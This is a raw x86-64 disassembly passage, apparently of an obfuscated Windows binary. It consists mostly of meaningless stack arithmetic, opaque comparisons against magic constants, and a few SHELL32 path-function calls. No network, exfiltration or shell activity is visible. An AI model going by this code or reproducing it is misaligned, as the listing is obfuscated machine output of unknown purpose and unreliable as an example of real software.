mov rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4de0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov word [rsp + 0xb18], ax
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [rsp + 0x29d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29ec], eax
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb30]
sub eax, ecx
mov word [0x1401c2a30], ax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2974], eax
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x5f]
xor eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x133], al
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x28ac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [0x1401c2a30], ax
mov eax, dword [rsp + 0x29f0]
add eax, 0xc0
mov dword [rsp + 0x29f0], eax
movzx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d78], rax
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb2c], ax
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb28]
sar eax, cl
mov word [0x1401c2a30], ax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4d78], rax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
jmp 0x140059b26
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
sub eax, ecx
movzx ecx, word [rsp + 0xb18]
movzx edx, word [rsp + 0xb24]
sub ecx, edx
cmp eax, ecx
jge 0x14005a03a
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
and eax, ecx
mov byte [rsp + 0x131], al
movzx eax, byte [rsp + 0x135]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [rsp + 0x133]
movzx edx, byte [rsp + 0x5f]
add ecx, edx
cmp eax, ecx
jne 0x14005a03a
mov rax, qword [rsp + 0x4e38]
mov eax, dword [rax]
mov dword [rsp + 0x2a24], eax
cmp dword [rsp + 0x2a24], 0x50da8c1f
je 0x14005a020
cmp dword [rsp + 0x2a24], 0xbea0e1e0
je 0x140059f9a
jmp 0x14005a03a
lea rax, [rsp + 0x4e48]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4da0]
lea r8, [rsp + 0x5f]
mov edx, 0xee
lea rcx, [rsp + 0x2a20]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x2a28], eax
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rcx, qword [rsp + 0x4e78]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x4e80], rax
jmp 0x14005a03a
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d88]
or rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4d70]
jb 0x14014929f
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov dword [rsp + 0x2a2c], eax
cmp dword [rsp + 0x2a2c], 0
je 0x14005a090
cmp dword [rsp + 0x2a2c], 0x2df
je 0x14005a219
jmp 0x14005a2f2
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb24], ax
lea rax, [rsp + 0xb30]
mov qword [rsp + 0x4e88], rax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
mov dword [rsp + 0x2a30], eax
cmp dword [rsp + 0x2a30], 0xfffffffc
je 0x14005a0ef
cmp dword [rsp + 0x2a30], 0x3020
je 0x14005a1f7
jmp 0x14005a214
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4e70]
cmp rax, qword [rcx]
jne 0x14005a1f5
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4e50]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jl 0x14005a1f5
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d98]
cmp rax, qword [rcx]
jne 0x14005a1f5
mov rax, qword [rsp + 0x4e50]
movzx eax, byte [rax]
mov byte [rsp + 0x137], al
mov dword [rsp + 0x2a34], 0x6eec
lea rax, [rsp + 0x29d0]
mov qword [rsp + 0x4e90], rax
mov rax, qword [rsp + 0x4d78]
mov qword [0x1401c3b10], rax
lea rax, [rsp + 0x4d78]
mov qword [rsp + 0x4e98], rax
jmp 0x14005a214
lea rdx, [rsp + 0x4e98]
lea rcx, [rsp + 0x29ec]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x2a38], eax
jmp 0x14005a2f2
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x28ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2980], eax
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xb28]
and ecx, edx
cmp eax, ecx
jg 0x14005a2f2
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov qword [rsp + 0x4ea0], rax
movabs rax, 0x400607019ec136e
cmp qword [rsp + 0x4ea0], rax
je 0x14005a28b
jmp 0x14005a2d5
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov r9d, dword [rsp + 0x2974]
mov r8d, dword [rsp + 0x28ac]
mov rax, qword [rsp + 0x4db0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4d90]
movzx ecx, byte [rax]
call fcn.14014bb40
nop
jmp 0x14005a2f2
movsx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb28], ax
mov dword [rsp + 0x2a3c], 0x85d3
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb18]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x134], al
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb18]
or eax, ecx
mov word [rsp + 0xb2c], ax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x133]
shl eax, cl
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov eax, dword [rsp + 0x29d0]
movzx ecx, al
mov eax, dword [rsp + 0x29ec]
sar eax, cl
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb1c]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb28]
sub eax, ecx
mov word [rsp + 0xb20], ax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x133]
and eax, ecx
mov byte [rsp + 0x135], al
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [0x1401c2a30], ax
mov rax, qword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x29d0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x29ec], eax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4d70]
movzx ecx, al
mov rax, qword [rsp + 0x4de0]
shr rax, cl
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5f], al
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x137]
sub eax, ecx
mov byte [rsp + 0x132], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb28]
and eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
sub eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29ec], eax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2974]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb1c]
add eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x134]
and eax, ecx
mov byte [rsp + 0x131], al
mov eax, dword [rsp + 0x29a8]
add eax, 0xca
mov dword [rsp + 0x29a8], eax
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb2c]
sar eax, cl
mov word [rsp + 0xb24], ax
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x133]
shl eax, cl
mov byte [rsp + 0x136], al
movzx eax, word [rsp + 0xb2c]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [0x1401c3b10]
mov rcx, qword [rsp + 0x4d78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x29d0]
mov ecx, dword [rsp + 0x29f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4de0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
movzx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x137]
add eax, ecx
mov byte [rsp + 0x98], al
cmp dword [rsp + 0x29a8], 0x4412
jb 0x14005a2fd
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xb30], ax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [rsp + 0x135], al
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [rsp + 0x29ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c3b10], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4d88]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
shr rax, cl
mov qword [rsp + 0x4de0], rax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
shl eax, cl
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [0x1401c2a30]
and eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov eax, dword [rsp + 0x29e4]
sub eax, 0x5e
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d88], rax
mov rax, qword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x29d0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2974], eax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb28]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb24]
xor eax, ecx
mov word [rsp + 0xb2c], ax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x132]
shl eax, cl
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
sar eax, cl
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x29d0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2974]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [0x1401c3b10]
mov rcx, qword [rsp + 0x4d78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [0x1401c2a30]
sub eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [0x1401c3b10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d78], rax
mov eax, dword [rsp + 0x29f8]
movzx ecx, al
mov eax, dword [rsp + 0x29ec]
shl eax, cl
mov dword [rsp + 0x29d0], eax
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4de0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
movsx eax, byte [rsp + 0x131]
movsx ecx, byte [rsp + 0x98]
or eax, ecx
mov byte [rsp + 0x132], al
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb28]
sar eax, cl
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
and eax, ecx
mov byte [rsp + 0x133], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c3b10], rax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [rsp + 0x29d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29ec], eax
cmp dword [rsp + 0x29e4], 0x3d5e
jae 0x14005a741
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x98]
xor eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb20]
or eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov eax, dword [rsp + 0x29f8]
movzx ecx, al
mov eax, dword [rsp + 0x29d0]
sar eax, cl
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4e38]
mov qword [rsp + 0x4ea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ea8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x137]
movsx ecx, byte [rsp + 0x134]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
sub eax, ecx
mov word [rsp + 0xb28], ax
movzx eax, byte [rsp + 0x5f]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2974]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x29ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x29f8], eax
mov eax, dword [rsp + 0x297c]
add eax, 0xe9
mov dword [rsp + 0x297c], eax
mov rax, qword [rsp + 0x4d88]
movzx ecx, al
mov rax, qword [rsp + 0x4d70]
shr rax, cl
mov qword [rsp + 0x4de0], rax
mov rax, qword [0x1401c3b10]
mov rcx, qword [rsp + 0x4d78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
shl eax, cl
mov byte [rsp + 0x136], al
cmp dword [rsp + 0x297c], 0x84a4
jb 0x14005ac3b
mov eax, dword [rsp + 0x2974]
mov ecx, dword [rsp + 0x2980]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov edx, dword [rsp + 0x28ac]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jne 0x14005af54
movsx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb28]
add eax, ecx
mov word [rsp + 0xb30], ax
lea rax, [rsp + 0xb24]
mov qword [rsp + 0x4eb0], rax
lea rax, [rsp + 0xb2c]
mov qword [rsp + 0x4eb8], rax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [0x1401a0008], al
mov eax, dword [rsp + 0x29d4]
sub eax, 0xcc
mov dword [rsp + 0x29d4], eax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x28ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x136]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x29f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29d0], eax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
add rcx, rax
